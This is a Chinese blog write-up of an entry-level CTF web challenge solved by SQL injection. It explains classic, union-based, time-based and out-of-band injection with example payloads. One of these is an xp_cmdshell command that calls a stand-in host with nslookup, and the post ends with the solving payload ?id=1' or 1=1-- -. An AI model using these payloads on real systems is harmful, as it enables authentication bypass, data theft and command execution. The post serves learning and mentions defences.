作者:冰耿
作者其他详细专栏
CTF系统学习专栏https://blog.csdn.net/bing_geng/category_12496105.html
Python爬虫学习专栏https://blog.csdn.net/bing_geng/category_12494819.html
正文
Please enter ID,and Try to bypass
难度:1
方向:Web,SQL注入
题目描述:无
题干界面
本人思路
-
这个题目的题目描述为无,但在进入了题目界面后,提示了这样子的一句话。
翻译过来就是输入id,且尝试绕过,查看源代码,发现源代码只有这一句话,也没有其他信息。 -
CTF攻防就是信息的整理和收集,然后把所有细节加起来考虑出方向。
- 题目 inget,应该是使用get请求的意识
- 而提示的那句话,please enter ID,and try to bypass, 猜测应该是以id作为参数,然后尝试绕过
-
下面将是我的思路,以id作为参数然后作为绕过
1)尝试id=1,会出现什么结果。结果就是无事发生,是老样子
2) 尝试把id的位数输大一点,是不是又长度判断.结果还是老样子。然后我猜想是不是id要爆破?所以我在一个虚拟机一边进行了爆破
3) 关键信息里面还有一个很重要的信息就是绕过。所谓绕过最常见的在web安全里面的就是SQL注入,绕过验证。那什么是SQL注入,下面将举几个例子,简单讲讲SQL注入SQL注入是一种利用应用程序对用户输入的处理不当而导致的安全漏洞。攻击者通过在用户输入中插入恶意的SQL代码,从而欺骗应用程序执行非预期的数据库操作。这可能导致数据库泄露、数据篡改或未经授权的访问。
SQL注入的常见类型:
Classic SQL Injection:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123';
如果用户输入 admin' OR '1'='1'; -- 作为密码,整个SQL语句变为:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin' OR '1'='1'; --';
效果: 使条件始终为真,绕过身份验证。
Union-Based SQL Injection:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admins;
如果用户输入 1 UNION ALL SELECT NULL, NULL, NULL; -- 作为ID,整个SQL语句变为:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT NULL, NULL, NULL; --';
效果: 将两个查询的结果联合起来,通常用于获取额外的信息。
Time-Based Blind SQL Injection:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123' AND IF(1=1, SLEEP(5), 0);
如果用户输入 admin' AND IF(1=2, SLEEP(5), 0); -- 作为密码,整个SQL语句变为:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin' AND IF(1=2, SLEEP(5), 0); --';
效果: 利用延时函数,根据应用程序是否延时来判断条件是否为真。
Out-of-Band SQL Injection:
SELECT * FROM users WHERE username = 'admin'; -- HTTP request to attacker-controlled server
如果用户输入 admin'; EXEC xp_cmdshell('nslookup example.com'); -- 作为用户名,整个SQL语句变为:
SELECT * FROM users WHERE username = 'admin'; EXEC xp_cmdshell('nslookup example.com'); --';
效果: 利用SQL Server的 xp_cmdshell 执行命令,实现带外数据传输。
防范SQL注入的方法包括使用参数化查询、输入验证和限制数据库用户的权限。开发者应该仔细处理用户输入,确保不会被直接拼接到SQL查询中
4)因此我们尝试使用最容易注入的or,就是下面这个语句
?id=1’ or 1=1-- -
意思:在 id 参数的输入后添加了 or 1=1,其中 1=1 始终为真,注释部分 – - 表示在此之后的所有内容都是注释,不会被执行。(那个分号的作用是关闭原始查询中的字符串,然后插入 or 1=1-- -,如果对分号不太熟悉使用位置,可以多次试验)
效果:使查询条件中至少有一个条件为真,通常用于绕过某些权限控制。
末尾的 – - 是 SQL 中的注释符号,它表示在此之后的所有内容都是注释,不会被执行。这是为了确保恶意注入的部分不会干扰原始查询的执行。
5) 运行界面
总结
1)较为综合的考察了SQL注入绕过,且提示较其他难度为1的题目较少,是一个学习SQL注入的入门经典例题